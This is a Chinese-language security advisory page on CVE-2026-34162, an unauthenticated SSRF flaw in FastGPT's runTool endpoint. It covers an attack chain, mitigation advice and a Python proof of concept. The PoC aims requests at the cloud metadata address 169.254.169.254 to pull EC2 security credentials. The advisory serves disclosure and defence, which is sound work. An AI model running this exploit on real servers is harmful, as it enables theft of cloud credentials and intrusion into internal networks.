IPBUF安全漏洞报告
English
CVE-2026-34162 CVSS 10.0 严重

CVE-2026-34162 FastGPT未认证HTTP代理漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-34162
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FastGPT

相关标签

SSRFFastGPTCVE-2026-34162未授权访问代理漏洞严重漏洞

漏洞概述

FastGPT在4.14.9.5之前的版本中存在严重的未认证HTTP代理漏洞。由于/api/core/app/httpTools/runTool端点完全缺乏身份验证机制,攻击者可利用该接口向任意目标发起HTTP请求,进而探测内网服务、窃取敏感数据或进行后续攻击。该漏洞CVSS评分高达10.0,对系统机密性和完整性构成极高威胁。

技术细节

该漏洞的根本原因在于FastGPT未对HTTP工具测试接口`/api/core/app/httpTools/runTool`实施任何形式的访问控制。该接口原本设计用于测试HTTP工具的功能,但直接暴露了后端的HTTP请求能力。攻击者无需任何凭证即可向该端点发送构造的POST请求,并在请求体中指定目标URL(baseUrl)、路径、HTTP方法、自定义Headers及Body。服务器收到请求后,会代为向指定目标发起HTTP请求,并将获取的完整响应(包括状态码、响应头和响应体)原样返回给攻击者。这实际上将FastGPT服务器变成了一个开放代理,允许攻击者绕过网络防火墙限制,探测或攻击内网服务(如Redis、MySQL、SSH等),甚至利用云元数据服务(如AWS/GCP的169.254.169.254)窃取临时凭证,造成严重的数据泄露。

攻击链分析

STEP 1
1. 侦察
攻击者发现FastGPT服务暴露在公网,且版本低于4.14.9.5。
STEP 2
2. 漏洞探测
攻击者向`/api/core/app/httpTools/runTool`发送POST请求,验证是否存在未授权访问。
STEP 3
3. 构造恶意载荷
攻击者构造包含内网敏感地址(如127.0.0.1、169.254.169.254)的JSON数据包,指定HTTP方法和Headers。
STEP 4
4. 执行SSRF攻击
FastGPT服务器解析载荷,代为向内网目标发起请求,获取响应。
STEP 5
5. 数据泄露与后续利用
攻击者利用获取的内网信息(如云凭证、数据库配置)进一步渗透内网环境。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target_url = "http://fastgpt-server-url" # Replace with actual target exploit_endpoint = "/api/core/app/httpTools/runTool" # SSRF Payload: Trying to access internal metadata service (AWS Example) ssrf_target = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" payload = { "appId": "test", # May need a valid appId depending on implementation, but description says no auth "baseUrl": ssrf_target, "toolPath": "", "method": "GET", "headers": {}, "params": {}, "body": {} } try: response = requests.post(f"{target_url}{exploit_endpoint}", json=payload, timeout=10) print(f"Status Code: {response.status_code}") print("Response Headers:", response.headers) print("Response Body:", response.text) except Exception as e: print(f"Error: {e}")

影响范围

FastGPT < 4.14.9.5

防御指南

临时缓解措施
在升级修复之前,建议通过网络访问控制列表(ACL)限制对`/api/core/app/httpTools/runTool`端点的访问,仅允许受信任的内部IP地址调用,或直接在应用网关层阻断该路径的流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表